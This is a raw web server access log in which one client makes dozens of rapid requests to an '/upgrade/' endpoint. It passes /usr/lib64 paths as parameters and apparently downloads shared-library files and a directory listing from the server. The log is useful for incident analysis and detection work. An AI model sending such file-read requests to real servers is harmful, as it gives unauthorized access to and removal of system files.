45.135.193.11 - - [11/Sep/2026:23:02:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhunspell-1.7.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 338632 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhunspell-1.7.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncurses++.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103795 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncurses++.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsepol.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 480311 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsepol.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-mb.so.6.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118517 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-mb.so.6.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2F.libgnutls.so.30.hmac&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103232 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2F.libgnutls.so.30.hmac&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibepoxy.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 420960 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibepoxy.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdbm.so.6.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 137705 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdbm.so.6.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgmodule-2.0.so.0.6800.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110104 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgmodule-2.0.so.0.6800.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpanel.so.6.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109616 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpanel.so.6.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburing.so.2.12&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116347 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburing.so.2.12&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-screensaver.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108891 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-screensaver.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:26 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fnamed HTTP/1.1" 200 6098 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fnamed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXrender.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 123362 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXrender.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaps.so.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1885030 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaps.so.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibassuan.so.0.8.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 141742 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibassuan.so.0.8.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibctf-nobfd.la&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 104325 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibctf-nobfd.la&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexiv2.so.27&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1073247 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexiv2.so.27&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz-icu.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108137 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz-icu.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnsssysinit.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108770 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnsssysinit.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsoup-2.4.so.1.11.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 390574 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsoup-2.4.so.1.11.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xvmc.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109245 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xvmc.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
64.95.11.110 - - [11/Sep/2026:23:02:29 -0400] "GET / HTTP/1.1" 200 2470 "-" "vantage-agent/0.1"
64.95.11.110 - - [11/Sep/2026:23:02:29 -0400] "GET /favicon.ico HTTP/1.1" 404 1251 "-" "Go-http-client/1.1"
45.135.193.11 - - [11/Sep/2026:23:02:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXext.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 136050 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXext.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibanl.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106095 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibanl.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibext2fs.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 317607 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibext2fs.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdbm_compat.so.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108972 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdbm_compat.so.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkrb5.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 452333 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkrb5.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:32 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fgssproxy HTTP/1.1" 200 6097 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fgssproxy" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_fs.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 127952 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_fs.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblzo2.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 157615 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblzo2.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpopt.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 129048 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpopt.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_server.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116023 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_server.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:34 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Flibdnf HTTP/1.1" 200 5940 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Flibdnf" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcairo-script-interpreter.so.2.11704.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 163202 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcairo-script-interpreter.so.2.11704.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm_intel.so.1.128.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 173800 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm_intel.so.1.128.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebp.so.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 323352 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebp.so.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibidn2.so.0.3.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 155783 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibidn2.so.0.3.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:36 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Falsa-lib HTTP/1.1" 200 6182 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Falsa-lib" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:36 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Ftracker-3.0 HTTP/1.1" 200 6111 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Ftracker-3.0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrop_ambient.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106609 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrop_ambient.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjq.so.1.0.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 250940 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjq.so.1.0.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmm-glib.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 486774 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmm-glib.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpam_misc.so.0.82.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110070 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpam_misc.so.0.82.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-present.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108290 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-present.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:38 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2F&option=dir HTTP/1.1" 200 103789 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatk-bridge-2.0.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 181714 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatk-bridge-2.0.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibauthselect.so.3.1.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 143677 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibauthselect.so.3.1.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibctf.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 158614 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibctf.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdebuginfod.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 125405 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdebuginfod.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibosinfo-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 218037 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibosinfo-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibverto.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 114174 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibverto.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibanl.a&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103697 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibanl.a&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdbm_compat.so.4.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109275 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdbm_compat.so.4.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhns.so.1.0.61.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 129087 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhns.so.1.0.61.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmenu.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119151 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmenu.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tcti-mssim.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116672 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tcti-mssim.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:43 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fbfd-plugins HTTP/1.1" 200 6181 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fbfd-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgcc_s-11-20240719.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 155399 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgcc_s-11-20240719.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgmodule-2.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109709 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgmodule-2.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpq.so.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 248560 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpq.so.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
